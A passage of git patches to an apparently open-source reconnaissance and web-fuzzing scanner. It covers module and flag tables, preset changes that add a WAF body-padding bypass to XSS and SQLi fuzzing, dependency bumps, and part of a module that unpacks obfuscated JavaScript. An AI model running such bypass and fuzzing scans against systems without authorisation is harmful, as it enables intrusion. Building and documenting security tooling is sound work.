lightfuzz, medusa, newsletters, nowafpls, ntlm, nuclei, reflected_parameters, retirejs, shodan_enterprise, shodan_idb, speculate, telerik, trajan, trufflehog, url_manipulation, waf_bypass, wayback | +| GEOLOCATION | 0 | 2 | | ip2location, ipstack | +| HASHED_PASSWORD | 0 | 2 | | credshed, dehashed | +| HTTP_RESPONSE | 18 | 4 | ajaxpro, asset_inventory, badsecrets, dotnetnuke, excavate, filedownload, gitlab_onprem, host_header, newsletters, nmap_xml, ntlm, paramminer_cookies, paramminer_getparams, paramminer_headers, speculate, sslcert, telerik, trufflehog | http, lightfuzz, virtualhost, wayback | +| IP_ADDRESS | 11 | 5 | asn, asset_inventory, censys_ip, ip2location, ipneighbor, ipstack, nmap_xml, portscan, shodan_enterprise, shodan_idb, speculate | asset_inventory, censys_ip, dnsresolve, ipneighbor, speculate | +| IP_RANGE | 2 | 1 | portscan, speculate | dnsresolve | +| MOBILE_APP | 1 | 1 | apkpure | google_playstore | +| OPEN_TCP_PORT | 5 | 6 | asset_inventory, fingerprintx, http, nmap_xml, portfilter | asset_inventory, censys_ip, portscan, shodan_enterprise, shodan_idb, speculate | +| OPEN_UDP_PORT | 0 | 2 | | censys_ip, shodan_enterprise | +| ORG_STUB | 4 | 1 | dockerhub, github_org, google_playstore, postman | speculate | +| PASSWORD | 0 | 2 | | credshed, dehashed | +| PROTOCOL | 3 | 2 | legba, medusa, nmap_xml | censys_ip, fingerprintx | +| RAW_DNS_RECORD | 0 | 3 | | dnsbimi, dnsresolve, dnstlsrpt | +| RAW_TEXT | 2 | 1 | excavate, trufflehog | kreuzberg | +| SOCIAL | 7 | 4 | dockerhub, github_org, gitlab_com, gitlab_onprem, gowitness, postman, speculate | dockerhub, github_usersearch, gitlab_onprem, social | +| STORAGE_BUCKET | 9 | 6 | baddns_direct, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, speculate | bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft | +| TECHNOLOGY | 4 | 9 | asset_inventory, gitlab_onprem, trajan, web_report | ajaxpro, badsecrets, censys_ip, dotnetnuke, gitlab_onprem, gowitness, nuclei, shodan_enterprise, shodan_idb | +| URL | 26 | 2 | ajaxpro, aspnet_bin_exposure, asset_inventory, baddns_direct, bypass403, generic_ssrf, git, gowitness, graphql_introspection, http, iis_shortnames, lightfuzz, nowafpls, ntlm, nuclei, portfilter, robots, speculate, telerik, url_manipulation, virtualhost, waf_bypass, wafw00f, wayback, web_report, webbrute | gowitness, http | +| URL_HINT | 1 | 1 | webbrute_shortnames | iis_shortnames | +| URL_UNVERIFIED | 9 | 19 | code_repository, filedownload, http, oauth, portfilter, retirejs, social, speculate, trajan | azure_tenant, bevigil, bucket_file_enum, censys_ip, dnsbimi, dnscaa, dnstlsrpt, dockerhub, excavate, fingerprintx, github_codesearch, gowitness, hunterio, robots, securitytxt, urlscan, wayback, webbrute, webbrute_shortnames | +| USERNAME | 1 | 2 | speculate | credshed, dehashed | +| VIRTUAL_HOST | 0 | 1 | | virtualhost | +| WAF | 1 | 1 | asset_inventory | wafw00f | +| WEBSCREENSHOT | 0 | 1 | | gowitness | +| WEB_PARAMETER | 7 | 5 | hunt, lightfuzz, paramminer_cookies, paramminer_getparams, paramminer_headers, reflected_parameters, web_parameters | excavate, paramminer_cookies, paramminer_getparams, paramminer_headers, wayback | [Next Up: Output -->](./output.md){ .md-button .md-button--primary } diff --git a/docs/scanning/index.md b/docs/scanning/index.md index 08f6b5c4ab..20cdcb55a0 100644 --- a/docs/scanning/index.md +++ b/docs/scanning/index.md @@ -191,18 +191,18 @@ A single module can have multiple flags. For example, the `securitytrails` modul |------------------|-------------|----------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | safe | 100 | Non-intrusive and non-destructive | affiliates, aggregate, ajaxpro, anubisdb, apkpure, asn, aspnet_bin_exposure, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, dnsbimi, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, emails, excavate, filedownload, fingerprintx, fullhunt, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, gowitness, graphql_introspection, hackertarget, http, hunt, hunterio, ip2location, ipstack, jadx, kreuzberg, leakix, myssl, newsletters, ntlm, oauth, otx, pgp, portfilter, postman, postman_download, rapiddns, reflected_parameters, retirejs, robots, securitytrails, securitytxt, shodan_dns, shodan_enterprise, shodan_idb, skymem, social, speculate, sslcert, subdomaincenter, subdomainradar, subdomains, trajan, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, waf_bypass, wayback | | passive | 68 | Never connects to target systems | affiliates, aggregate, anubisdb, apkpure, asn, azure_tenant, bevigil, bucket_file_enum, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, dnsbimi, dnscaa, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, excavate, fullhunt, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, google_playstore, hackertarget, hunterio, ip2location, ipneighbor, ipstack, jadx, kreuzberg, leakix, myssl, otx, pgp, portfilter, postman, postman_download, rapiddns, securitytrails, shodan_dns, shodan_enterprise, shodan_idb, skymem, social, speculate, subdomaincenter, subdomainradar, trajan, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | -| active | 52 | Makes active connections to target systems | ajaxpro, aspnet_bin_exposure, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bypass403, dnsbrute, dnsbrute_mutations, dnscommonsrv, dotnetnuke, filedownload, fingerprintx, generic_ssrf, git, gitlab_com, gitlab_onprem, gowitness, graphql_introspection, host_header, http, hunt, iis_shortnames, legba, lightfuzz, medusa, newsletters, ntlm, nuclei, oauth, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, reflected_parameters, retirejs, robots, securitytxt, sslcert, telerik, url_manipulation, virtualhost, waf_bypass, wafw00f, webbrute, webbrute_shortnames | +| active | 53 | Makes active connections to target systems | ajaxpro, aspnet_bin_exposure, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bypass403, dnsbrute, dnsbrute_mutations, dnscommonsrv, dotnetnuke, filedownload, fingerprintx, generic_ssrf, git, gitlab_com, gitlab_onprem, gowitness, graphql_introspection, host_header, http, hunt, iis_shortnames, legba, lightfuzz, medusa, newsletters, nowafpls, ntlm, nuclei, oauth, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, reflected_parameters, retirejs, robots, securitytxt, sslcert, telerik, url_manipulation, virtualhost, waf_bypass, wafw00f, webbrute, webbrute_shortnames | | subdomain-enum | 47 | Enumerates subdomains | anubisdb, asn, azure_tenant, baddns_direct, baddns_zone, bevigil, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, http, hunterio, ipneighbor, leakix, myssl, oauth, otx, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sslcert, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, virustotal, wayback | | loud | 21 | Generates a large amount of network traffic | bypass403, dnsbrute, dnsbrute_mutations, dotnetnuke, host_header, iis_shortnames, ipneighbor, legba, lightfuzz, medusa, nuclei, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, telerik, url_manipulation, virtualhost, wafw00f, webbrute, webbrute_shortnames | | code-enum | 19 | Find public code repositories and search them for secrets etc. | apkpure, code_repository, docker_pull, dockerhub, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, jadx, postman, postman_download, trajan, trufflehog | +| web-heavy | 17 | More advanced web scanning functionality | ajaxpro, aspnet_bin_exposure, bucket_digitalocean, bucket_hetzner, bypass403, dotnetnuke, generic_ssrf, host_header, hunt, lightfuzz, nowafpls, reflected_parameters, retirejs, telerik, url_manipulation, waf_bypass, webbrute_shortnames | | cloud-enum | 16 | Enumerates cloud resources | azure_tenant, baddns, baddns_direct, baddns_zone, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, dnsbimi, dnstlsrpt, http, oauth, securitytxt | | web | 16 | Non-intrusive web scan functionality | baddns, badsecrets, bucket_amazon, bucket_firebase, bucket_google, bucket_microsoft, filedownload, git, graphql_introspection, http, iis_shortnames, ntlm, oauth, robots, securitytxt, sslcert | -| web-heavy | 16 | More advanced web scanning functionality | ajaxpro, aspnet_bin_exposure, bucket_digitalocean, bucket_hetzner, bypass403, dotnetnuke, generic_ssrf, host_header, hunt, lightfuzz, reflected_parameters, retirejs, telerik, url_manipulation, waf_bypass, webbrute_shortnames | | slow | 11 | May take a long time to complete | bucket_digitalocean, bucket_hetzner, dnsbrute_mutations, docker_pull, fingerprintx, git_clone, gitdumper, paramminer_cookies, paramminer_getparams, paramminer_headers, virtualhost | | email-enum | 9 | Enumerates email addresses | dehashed, dnscaa, dnstlsrpt, emailformat, emails, hunterio, pgp, skymem, sslcert | +| invasive | 8 | Intrusive or potentially destructive | dotnetnuke, generic_ssrf, legba, lightfuzz, medusa, nowafpls, nuclei, telerik | | affiliates | 7 | Discovers affiliated hostnames/domains | affiliates, azure_tenant, builtwith, oauth, sslcert, trickest, viewdns | | download | 7 | Modules that download files, apps, or repositories | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, postman_download | -| invasive | 7 | Intrusive or potentially destructive | dotnetnuke, generic_ssrf, legba, lightfuzz, medusa, nuclei, telerik | | baddns | 3 | Runs all modules from the DNS auditing tool BadDNS | baddns, baddns_direct, baddns_zone | | web-paramminer | 3 | Discovers HTTP parameters through brute-force | paramminer_cookies, paramminer_getparams, paramminer_headers | | iis-shortnames | 2 | Scans for IIS Shortname vulnerability | iis_shortnames, webbrute_shortnames | diff --git a/docs/scanning/presets_list.md b/docs/scanning/presets_list.md index 605ffeeb5d..b8d9b26a52 100644 --- a/docs/scanning/presets_list.md +++ b/docs/scanning/presets_list.md @@ -283,13 +283,15 @@ Default fuzzing: all 9 submodules (cmdi, crypto, path, serial, sqli, ssti, xss, modules: - badsecrets - hunt + - nowafpls - reflected_parameters - + config: modules: lightfuzz: enabled_submodules: [cmdi,crypto,path,serial,sqli,ssti,xss,esi,ssrf] try_post_as_get: True + avoid_wafs: try_bypasses ``` Category: web @@ -350,7 +352,7 @@ Minimal fuzzing: only path traversal, SQLi, and XSS submodules. No POST requests lightfuzz: enabled_submodules: [path,sqli,xss] # only look for the most common vulnerabilities disable_post: True # don't send POST requests (less aggressive) - avoid_wafs: True + avoid_wafs: always conditions: - | @@ -381,7 +383,7 @@ Maximum fuzzing: everything in lightfuzz-heavy, plus the heavy paramminer varian lightfuzz: force_common_headers: True # Fuzz common headers like X-Forwarded-For even if they're not observed on the target enabled_submodules: [cmdi,crypto,path,serial,sqli,ssti,xss,esi,ssrf] - avoid_wafs: False + avoid_wafs: never excavate: speculate_params: True # speculate potential parameters extracted from JSON/XML web responses wayback: @@ -396,26 +398,28 @@ Modules: [0]("") ## **lightfuzz-xss** -XSS-only: enables only the xss submodule with paramminer_getparams and reflected_parameters. POST disabled, no query string collapsing. Example of a focused single-submodule preset. +XSS-only: enables only the xss submodule with paramminer_getparams and reflected_parameters. POST fuzzing enabled and try_get_as_post retests every discovered GET parameter as POST, so the nowafpls body-padding bypass gets a chance on WAF-tagged targets (a padded-POST XSS is triggerable from an attacker-controlled form). ??? note "`lightfuzz-xss.yml`" ```yaml title="~/.bbot/presets/web/lightfuzz-xss.yml" - description: "XSS-only: enables only the xss submodule with paramminer_getparams and reflected_parameters. POST disabled, no query string collapsing. Example of a focused single-submodule preset." + description: "XSS-only: enables only the xss submodule with paramminer_getparams and reflected_parameters. POST fuzzing enabled and try_get_as_post retests every discovered GET parameter as POST, so the nowafpls body-padding bypass gets a chance on WAF-tagged targets (a padded-POST XSS is triggerable from an attacker-controlled form)." modules: - http - lightfuzz + - nowafpls - paramminer_getparams - reflected_parameters - portfilter - + config: url_querystring_remove: False url_querystring_collapse: False modules: lightfuzz: enabled_submodules: [xss] - disable_post: True + try_get_as_post: True + avoid_wafs: try_bypasses conditions: - | @@ -1025,11 +1029,11 @@ Here is a the same data, but in a table: | iis-shortnames | web | Recursively enumerate IIS shortnames | 0 | | | js-audit | web | Hunt for leaked credentials and vulnerable libraries in client-side JavaScript | 6 | badsecrets, http, retirejs, robots, trufflehog, wayback | | kitchen-sink | | Everything everywhere all at once | 7 | baddns, baddns_direct, baddns_zone, http, hunt, reflected_parameters, webbrute | -| lightfuzz | web | Default fuzzing: all 9 submodules (cmdi, crypto, path, serial, sqli, ssti, xss, esi, ssrf) plus companion modules (badsecrets, hunt, reflected_parameters). POST fuzzing disabled but try_post_as_get enabled, so POST params are retested as GET. Skips confirmed WAFs. | 6 | badsecrets, http, hunt, lightfuzz, portfilter, reflected_parameters | -| lightfuzz-heavy | web | Aggressive fuzzing: everything in lightfuzz, plus paramminer brute-force parameter discovery (headers, GET params, cookies), POST request fuzzing enabled, try_get_as_post enabled (GET params retested as POST), and robots.txt parsing. Still skips confirmed WAFs. | 8 | badsecrets, http, hunt, lightfuzz, portfilter, reflected_parameters, robots, wayback | +| lightfuzz | web | Default fuzzing: all 9 submodules (cmdi, crypto, path, serial, sqli, ssti, xss, esi, ssrf) plus companion modules (badsecrets, hunt, reflected_parameters). POST fuzzing disabled but try_post_as_get enabled, so POST params are retested as GET. Skips confirmed WAFs. | 7 | badsecrets, http, hunt, lightfuzz, nowafpls, portfilter, reflected_parameters | +| lightfuzz-heavy | web | Aggressive fuzzing: everything in lightfuzz, plus paramminer brute-force parameter discovery (headers, GET params, cookies), POST request fuzzing enabled, try_get_as_post enabled (GET params retested as POST), and robots.txt parsing. Still skips confirmed WAFs. | 9 | badsecrets, http, hunt, lightfuzz, nowafpls, portfilter, reflected_parameters, robots, wayback | | lightfuzz-light | web | Minimal fuzzing: only path traversal, SQLi, and XSS submodules. No POST requests. No companion modules. Safest option for running alongside larger scans with minimal overhead. | 3 | http, lightfuzz, portfilter | -| lightfuzz-max | web | Maximum fuzzing: everything in lightfuzz-heavy, plus the heavy paramminer variant (1-3 letter brute-force on GET params, case mutation on case-sensitive backends, recycle_words on all paramminer modules), WAF targets are no longer skipped, each unique parameter-value pair is fuzzed individually (no collapsing), common headers like X-Forwarded-For are fuzzed even if not observed, and potential parameters are speculated from JSON/XML response bodies. Significantly increases scan time. | 8 | badsecrets, http, hunt, lightfuzz, portfilter, reflected_parameters, robots, wayback | -| lightfuzz-xss | web | XSS-only: enables only the xss submodule with paramminer_getparams and reflected_parameters. POST disabled, no query string collapsing. Example of a focused single-submodule preset. | 5 | http, lightfuzz, paramminer_getparams, portfilter, reflected_parameters | +| lightfuzz-max | web | Maximum fuzzing: everything in lightfuzz-heavy, plus the heavy paramminer variant (1-3 letter brute-force on GET params, case mutation on case-sensitive backends, recycle_words on all paramminer modules), WAF targets are no longer skipped, each unique parameter-value pair is fuzzed individually (no collapsing), common headers like X-Forwarded-For are fuzzed even if not observed, and potential parameters are speculated from JSON/XML response bodies. Significantly increases scan time. | 9 | badsecrets, http, hunt, lightfuzz, nowafpls, portfilter, reflected_parameters, robots, wayback | +| lightfuzz-xss | web | XSS-only: enables only the xss submodule with paramminer_getparams and reflected_parameters. POST fuzzing enabled and try_get_as_post retests every discovered GET parameter as POST, so the nowafpls body-padding bypass gets a chance on WAF-tagged targets (a padded-POST XSS is triggerable from an attacker-controlled form). | 6 | http, lightfuzz, nowafpls, paramminer_getparams, portfilter, reflected_parameters | | nuclei | nuclei | Run nuclei scans against all discovered targets | 3 | http, nuclei, portfilter | | nuclei-budget | nuclei | Run nuclei scans against all discovered targets, using budget mode to look for low hanging fruit with greatly reduced number of requests | 3 | http, nuclei, portfilter | | nuclei-heavy | nuclei | Run nuclei scans against all discovered targets, allowing for spidering, against ALL URLs, and with additional discovery modules. | 6 | http, nuclei, portfilter, robots, urlscan, wayback | From 20b328e5e682e161eed989b4a4964462ff6e9028 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 23 Sep 2026 17:29:33 -0400 Subject: [PATCH 097/256] Bump cachetools from 7.1.8 to 7.2.0 (#3454) Bumps [cachetools](https://github.com/tkem/cachetools) from 7.1.8 to 7.2.0. - [Changelog](https://github.com/tkem/cachetools/blob/master/CHANGELOG.rst) - [Commits](https://github.com/tkem/cachetools/compare/v7.1.8...v7.2.0) --- updated-dependencies: - dependency-name: cachetools dependency-version: 7.2.0 dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- uv.lock | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/uv.lock b/uv.lock index f068fe9038..01dd7b37e4 100644 --- a/uv.lock +++ b/uv.lock @@ -627,11 +627,11 @@ wheels = [ [[package]] name = "cachetools" -version = "7.1.8" +version = "7.2.0" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/4b/39/9a4689914dd907915cee74733b95888fc1d8a21aad47a24a0a2deec73ac4/cachetools-7.1.8.tar.gz", hash = "sha256:1221d547a0b24b7f26fa891d40d488b5258beab9aebd8ed68c729be3af849c43", size = 40909, upload-time = "2026-08-31T19:02:53.985Z" } +sdist = { url = "https://files.pythonhosted.org/packages/29/2c/3f18755527b03ca9ff6be724bd5370cb777c76a87f17301377cf04a4729b/cachetools-7.2.0.tar.gz", hash = "sha256:bcac1a1b8da6909994a2957238a57b8140dab7c5c5c69a43669654fe87a33c1d", size = 41129, upload-time = "2026-09-16T20:48:27.209Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/d7/3d/9487690d0e937854db587205c66bab3c3cf88d9f00ed380b74cb88cc94ee/cachetools-7.1.8-py3-none-any.whl", hash = "sha256:a81e3844acaa7355b6567f97bd67a94a14ec3a9bc2cbbdae45b9592cc036775b", size = 16842, upload-time = "2026-08-31T19:02:52.554Z" }, + { url = "https://files.pythonhosted.org/packages/cc/bb/1c6e7a89b11da19f137e4ef5a5c5fe47a5bb686449ba343944ccf8fb34b2/cachetools-7.2.0-py3-none-any.whl", hash = "sha256:3045213f186b89fdd95d94441354c4bd87c570b7a38d8c3fd1d9dd37f6dc90d8", size = 16918, upload-time = "2026-09-16T20:48:25.575Z" }, ] [[package]] From b48b41fd2feb6adfaa5ea63cc040ba2d40225fc9 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 23 Sep 2026 17:30:36 -0400 Subject: [PATCH 098/256] Bump pymdown-extensions from 11.0.2 to 12.0.1 (#3450) Bumps [pymdown-extensions](https://github.com/facelessuser/pymdown-extensions) from 11.0.2 to 12.0.1. - [Release notes](https://github.com/facelessuser/pymdown-extensions/releases) - [Commits](https://github.com/facelessuser/pymdown-extensions/compare/11.0.2...12.0.1) --- updated-dependencies: - dependency-name: pymdown-extensions dependency-version: 12.0.1 dependency-type: direct:development update-type: version-update:semver-major ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- pyproject.toml | 2 +- uv.lock | 8 ++++---- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 96e111f2d4..37597ba560 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -95,7 +95,7 @@ docs = [ "griffe>=1,<3", "livereload>=2.6.3,<3", "mike>=2.1.3,<3", - "pymdown-extensions>=10.20.1,<12", + "pymdown-extensions>=10.20.1,<13", ] [build-system] diff --git a/uv.lock b/uv.lock index 01dd7b37e4..b2c2482cd7 100644 --- a/uv.lock +++ b/uv.lock @@ -330,7 +330,7 @@ docs = [ { name = "mkdocs-material-extensions", specifier = ">=1.1.1,<2" }, { name = "mkdocstrings", specifier = ">=0.22,<1.1" }, { name = "mkdocstrings-python", specifier = ">=2.0.0,<3" }, - { name = "pymdown-extensions", specifier = ">=10.20.1,<12" }, + { name = "pymdown-extensions", specifier = ">=10.20.1,<13" }, ] [[package]] @@ -2288,15 +2288,15 @@ wheels = [ [[package]] name = "pymdown-extensions" -version = "11.0.2" +version = "12.0.1" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "markdown" }, { name = "pyyaml" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/ad/17/2db4b414de89659144488e0d9c6c0bf0c8395841dc12d81d0532cc6ef310/pymdown_extensions-11.0.2.tar.gz", hash = "sha256:9506fcbe66fa355a775b768084334238dd6805020ac4b92bea0c0dda6f8f223d", size = 855419, upload-time = "2026-08-22T19:28:47.236Z" } +sdist = { url = "https://files.pythonhosted.org/packages/eb/7e/53144b512818c75d459523e3a91d9bf7b65cd6a1dfb964fe690adc8b3670/pymdown_extensions-12.0.1.tar.gz", hash = "sha256:88fe2c97fb9153b9f2cc1da59f1d7c7cb74971110daf33cccb2a5514e0f7e970", size = 866904, upload-time = "2026-09-15T23:20:33.187Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/a6/43/9f45ec4d14e596efc32c925a78104934790438b0c0628b70d741016734ad/pymdown_extensions-11.0.2-py3-none-any.whl", hash = "sha256:259910762019732caa1dfd76f3faa62c59f191d46573e80bcb1d13c0f675bbe5", size = 269929, upload-time = "2026-08-22T19:28:45.389Z" }, + { url = "https://files.pythonhosted.org/packages/8c/30/c866b3ca8ad5cca79a3ee1a55c12d61d3e72381e5eadbfdaceb6006ebc84/pymdown_extensions-12.0.1-py3-none-any.whl", hash = "sha256:15d629e8035892b93d788a8424ccea754d4aa3cec247a64cbfe7b15089c9ad7f", size = 276957, upload-time = "2026-09-15T23:20:31.551Z" }, ] [[package]] From 47e3e90507df0149ac5996e9a2826778370a15d5 Mon Sep 17 00:00:00 2001 From: Paul Mueller Date: Thu, 24 Sep 2026 01:47:23 -0400 Subject: [PATCH 099/256] Add js_unpacker module for detecting and unpacking obfuscated JS (#3335) * Add js_unpacker module with YARA-based detection Five unpackers: source-map, Dean Edwards, obfuscator.io, Next.js, and webpack. Emits unpacked HTTP_RESPONSE for excavate to re-process, and FINDING for exposed source maps with sourcesContent. * Fix HTTP_RESPONSE dedup so re-emitted responses from different modules are distinct HTTP_RESPONSE._data_id now includes the source module name, preventing js_unpacker's unpacked responses from being deduplicated against the original http module response. Adds integration test for the js_unpacker -> badsecrets chain. * add to js-audit preset * js_unpacker: fix FINDING schema + rehash unpacked HTTP_RESPONSE - FINDING for exposed source map was missing required 'name' field - unpacked HTTP_RESPONSE re-emit reused the original body_md5/sha256, causing excavate's content-dedup to drop the unpacked body * HTTP_RESPONSE dedup: opt-in re-emit marker instead of module name Original fix stuffed str(self.module) into _data_id to keep js_unpacker's unpacked HTTP_RESPONSE distinct from http's original. That broke the pydantic JSON round-trip (module is a runtime object, not serialized). Reverts _data_id to method|url by default. Modules re-emitting an HTTP_RESPONSE for the same (method, url) with transformed content set data["_reemit_source"] to force distinct event.id. js_unpacker does so. * run js_unpacker regex work off the event loop * fix flaky dean-edwards assertion in js_unpacker test * Move js_unpacker test to per-worker mock server ports The test hardcoded 127.0.0.1:8888, so under pytest-xdist any worker but gw0 aimed its scan at another worker's server and got no matching handler. * Move the js_unpacker re-emit marker off event data * js_unpacker: honor blacklist on source map fetch, bound page-supplied loop counts --- bbot/core/event/base.py | 38 +- bbot/modules/js_unpacker.py | 417 ++++++++++++++++++ bbot/presets/web/js-audit.yml | 1 + bbot/test/test_step_1/test_events.py | 15 + .../module_tests/test_module_js_unpacker.py | 279 ++++++++++++ 5 files changed, 749 insertions(+), 1 deletion(-) create mode 100644 bbot/modules/js_unpacker.py create mode 100644 bbot/test/test_step_2/module_tests/test_module_js_unpacker.py diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 1bbf234627..0880180b63 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -962,6 +962,10 @@ def json(self, mode="json"): archive_url = self.archive_url if archive_url: j["archive_url"] = archive_url + # also kept out of `data`, though unlike archive_url this one does feed the event's identity + reemit_source = getattr(self, "reemit_source", None) + if reemit_source: + j["reemit_source"] = reemit_source # scope distance j["scope_distance"] = self.scope_distance # scan @@ -1749,8 +1753,31 @@ def body(self): return "" return body_bytes.decode("utf-8", errors="replace") + @property + def reemit_source(self): + """Name of the module that re-emitted this response with a transformed body. + + Kept off ``data`` so the marker isn't part of the event's public body. ``json()`` + surfaces it top-level and ``event_from_json()`` restores it. + """ + return getattr(self, "_reemit_source", None) + + @reemit_source.setter + def reemit_source(self, value): + self._reemit_source = value + # the marker feeds _data_id, so any already-cached identity is stale + self._id = None + self._data_hash = None + self._hash = None + def _data_id(self): - return self.data["method"] + "|" + self.data["url"] + base = self.data["method"] + "|" + self.data["url"] + # a module re-emitting the same (method, url) with a transformed body sets + # reemit_source, so the two events don't collide on event.id and get deduped away + reemit_source = self.reemit_source + if reemit_source: + return base + "|" + str(reemit_source) + return base def sanitize_data(self, data): url = data.get("url", "") @@ -2468,6 +2495,15 @@ def event_from_json(j): except AttributeError: pass + # must be restored, not recomputed: it feeds _data_id, so dropping it here + # would give the rebuilt event a different id than the one that was serialized + reemit_source = j.get("reemit_source", "") + if reemit_source: + try: + event.reemit_source = reemit_source + except AttributeError: + pass + # accept both isoformat and unix timestamp try: event.timestamp = datetime.datetime.fromtimestamp(j["timestamp"], ZoneInfo("UTC")) diff --git a/bbot/modules/js_unpacker.py b/bbot/modules/js_unpacker.py new file mode 100644 index 0000000000..7233ee3a89 --- /dev/null +++ b/bbot/modules/js_unpacker.py @@ -0,0 +1,417 @@ +import json +import regex as re +from hashlib import md5, sha256 +from urllib.parse import urljoin + +import mmh3 +import yara + +from bbot.modules.base import BaseModule + + +class BaseUnpacker: + name = "base" + yara_rule = "" + + def __init__(self, module): + self.module = module + self.helpers = module.helpers + + async def unpack(self, event, match): + raise NotImplementedError + + async def emit_unlocked(self, event, body): + """Re-emit an HTTP_RESPONSE with unpacked body so excavate can extract from it.""" + data = dict(event.data) + data["body"] = body + # recompute body hashes so downstream content-dedup doesn't collapse this + # against the original response + body_bytes = body.encode("utf-8", errors="replace") if isinstance(body, str) else body + old_hash = data.get("hash") or {} + data["hash"] = { + **old_hash, + "body_md5": md5(body_bytes).hexdigest(), + "body_mmh3": mmh3.hash(body_bytes), + "body_sha256": sha256(body_bytes).hexdigest(), + } + unpacked = self.module.make_event( + data, + "HTTP_RESPONSE", + parent=event.parent, + tags=["js-unpacked"], + context=f"{{module}} unpacked {self.name} JavaScript from {{event.type}}", + ) + if unpacked is None: + return + # distinct id from the original response so per-module dedup doesn't drop this + unpacked.reemit_source = "js_unpacker" + await self.module.emit_event(unpacked) + + +class SourceMapUnpacker(BaseUnpacker): + name = "source-map" + yara_rule = """ +rule source_map +{ + strings: + $a = "sourceMappingURL=" + condition: + any of them +} +""" + _url_regex = re.compile(r"[/*][#@]\s*sourceMappingURL=(\S+)") + + async def unpack(self, event, match): + body = event.body + m = await self.helpers.re.search(self._url_regex, body) + if not m: + return + map_ref = m.group(1) + + # data: URI + if map_ref.startswith("data:"): + parts = map_ref.split(",", 1) + if len(parts) == 2: + import base64 + + try: + map_json = base64.b64decode(parts[1]).decode("utf-8", errors="replace") + except Exception: + return + else: + return + else: + base_url = event.data.get("url", "") + map_url = urljoin(base_url, map_ref) + # maps often live on third-party CDNs, so don't require scope, but honor the blacklist + if self.module.scan.blacklisted(map_url): + self.module.debug(f"Skipping blacklisted source map {map_url}") + return + r = await self.helpers.request(map_url) + if not r or r.status_code != 200: + return + map_json = r.text + + parsed = await self.helpers.run_in_executor_cpu(self._parse_source_map, map_json) + if parsed is None: + return + num_sources, num_files, combined = parsed + + url = event.data.get("url", "unknown") + source_url = map_url if not map_ref.startswith("data:") else url + await self.module.emit_event( + { + "host": str(event.host), + "url": source_url, + "name": "Exposed source map", + "description": f"Source map with {num_files} source files exposed ({num_sources} total entries)", + "severity": "LOW", + "confidence": "CONFIRMED", + }, + "FINDING", + parent=event, + context="{module} discovered an exposed source map at {event.data[url]}", + ) + await self.emit_unlocked(event, combined) + + @staticmethod + def _parse_source_map(map_json): + """Parse the map and join its embedded sources. CPU-bound; runs off the event loop.""" + try: + source_map = json.loads(map_json) + except (json.JSONDecodeError, ValueError): + return None + non_empty = [c for c in source_map.get("sourcesContent", []) if c and c.strip()] + if not non_empty: + return None + return len(source_map.get("sources", [])), len(non_empty), "\n".join(non_empty) + + +class DeanEdwardsUnpacker(BaseUnpacker): + name = "dean-edwards" + yara_rule = """ +rule dean_edwards_packer +{ + strings: + $a = "eval(function(p,a,c,k,e," + 